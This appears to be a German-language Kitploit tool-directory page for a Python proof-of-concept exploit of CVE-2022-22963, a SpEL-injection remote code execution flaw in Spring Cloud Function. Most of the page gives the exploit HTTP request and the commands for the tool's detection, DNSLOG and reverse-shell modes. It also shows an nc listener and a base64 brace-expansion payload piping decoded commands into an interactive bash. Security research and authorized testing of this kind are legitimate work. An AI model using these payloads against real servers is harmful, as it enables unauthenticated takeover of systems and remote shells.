Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
Tools/GitHubGitHub/xmqaq/cve-2022-22963
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

Repository anzeigen
1vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-22963

Python License

Tool zur Erkennung und Ausnutzung der SpEL-Injection-RCE-Schwachstelle (Remote Code Execution) in Spring Cloud Function.

Überblick über die Schwachstelle

CVE-2022-22963 ist eine kritische RCE-Schwachstelle (CVSS 9.8) in der Routing-Funktion von Spring Cloud Function. Wenn der Endpunkt /functionRouter aktiviert ist, wird der Wert des Headers spring.cloud.function.routing-expression direkt als SpEL-Ausdruck (Spring Expression Language) ausgeführt. Ein Angreifer kann ohne Authentifizierung beliebige Systembefehle auf dem Zielserver ausführen.

Betroffene Versionen:

BranchBetroffene VersionenReparierte Version
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

Schwachstellenprinzip:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

Nach der Ausführung des SpEL-Ausdrucks gibt exec() ein Process-Objekt zurück. Beim Versuch, es zu serialisieren, wirft Spring eine Ausnahme, und die Antwort hat den HTTP-Status 500. Der Befehl wird im Hintergrund asynchron ausgeführt, das Ergebnis wird nicht in der HTTP-Antwort angezeigt. Die Bestätigung erfolgt über einen Seitenkanal wie DNSLOG oder Reverse Shell.

Funktionen

  • Schwachstellenerkennung: Durch SpEL wird eine charakteristische Antwort ausgelöst, um festzustellen, ob die Schwachstelle auf dem Ziel vorhanden ist.
  • DNSLOG-Verifikation: Senden eines ping-Requests an eine DNSLOG-Domain, um die Befehlsausführung durch DNS-Einträge zu bestätigen.
  • Reverse Shell: Mit Base64-Kodierung werden Leerzeicheneinschränkungen umgangen und eine interaktive Shell an eine bestimmte Adresse zurückgesendet.

Installation

root@kitploit:~
pip install requests

Python 3.6+, keine weiteren Abhängigkeiten.

Verwendung

root@kitploit:~
python3 CVE-2022-22963.py -u <Ziel-URL> [Optionen]

Parameterbeschreibung

Schwachstellenerkennung

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com ist anfällig!

DNSLOG-Verifikation

Zur Bestätigung, dass der Befehl tatsächlich ausgeführt wird, wenn keine sichtbare Rückmeldung erfolgt:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] Payload gesendet. Bitte prüfen Sie, ob abc123.dnslog.cn einen DNS-Request erhalten hat (Bestätigung der tatsächlichen Ausführung).

Anschließend auf der DNSLOG-Plattform prüfen, ob ein DNS-Query vom Ziel-IP empfangen wurde.

Reverse Shell

Auf dem Angreifer-Rechner den Listener starten:

root@kitploit:~
nc -lvnp 9999

Payload senden:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] Payload gesendet. Bitte warten Sie auf die Verbindung unter 192.168.1.100:9999 (nur Linux/bash-Ziele).

Hinweis: Die Reverse Shell erfordert /dev/tcp-Unterstützung auf dem Zielsystem und funktioniert nur unter Linux mit bash. Windows-Ziele oder Shells wie sh/ash/dash werden nicht unterstützt.

Technische Details

Erkennungsprinzip

Der Erkennungsrequest sendet einen echten SpEL-Ausdruck an /functionRouter:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • Anfällig: SpEL wird ausgeführt, das Process-Objekt kann nicht serialisiert werden → HTTP 500 + "path":"/functionRouter"
  • Nicht anfällig: Der Header wird ignoriert, das Routing schlägt fehl → Antwortcode oder Body entsprechen nicht den obigen Merkmalen.

Kodierungsablauf der Reverse Shell

Runtime.exec(String) wird nicht von einer Shell interpretiert; der Befehl wird nach Leerzeichen aufgeteilt. Der Befehl kann keine Pipes oder Umleitungen verarbeiten. Das Tool umgeht dies wie folgt:

  1. Der Reverse-Shell-Befehl wird Base64-kodiert, um Sonderzeichen zu entfernen.
  2. Bash-Brace-Expansion {cmd,arg} ersetzt Leerzeichen.
  3. Schließlich wird die Pipe/Umleitung von bash mit -c verarbeitet.
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec tokenisiert nach Leerzeichen
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c führt Brace-Expansion durch
echo BASE64 | base64 -d | bash -i

Änderungsprotokoll

DatumVersionBeschreibung
2023-12-28v1.0Erstveröffentlichung
2025-10-09v1.1Code-Umstrukturierung, Optimierung der Parameterverarbeitung und Fehlerbehandlung

Haftungsausschluss

Dieses Tool ist ausschließlich für Sicherheitsforschung, autorisierte Penetrationstests und Bildungszwecke bestimmt.

Mit der Nutzung dieses Tools stimmen Sie zu:

  1. Es nur auf Systemen einzusetzen, für die Sie eine ausdrückliche schriftliche Genehmigung haben.
  2. Alle geltenden Gesetze und Vorschriften in Ihrer Region einzuhalten.
  3. Die volle Verantwortung für alle Konsequenzen zu übernehmen, die sich aus der Nutzung dieses Tools ergeben.

Der Autor übernimmt keinerlei Haftung für unbefugte Nutzung oder deren Folgen.

Tool herunterladen
ParameterBeschreibungStandardwert
-u, --urlZiel-URL (erforderlich)—
-c, --checkSchwachstelle erkennen—
-m, --modeAusnutzungsmodus: dnslog oder shell—
-d, --dnsDNSLOG-Domain (bei -m dnslog)—
-i, --ipReverse-Shell-Empfänger-IP (bei -m shell)—
-p, --portReverse-Shell-Empfangsport9999
-t, --timeoutTimeout für Anfragen (Sekunden)5
2026-06-29v1.2Behebung von Fehlalarmen bei der Erkennung, Pfadverkettung für Context-Path, semantische Probleme bei Exploit-Rückgabewerten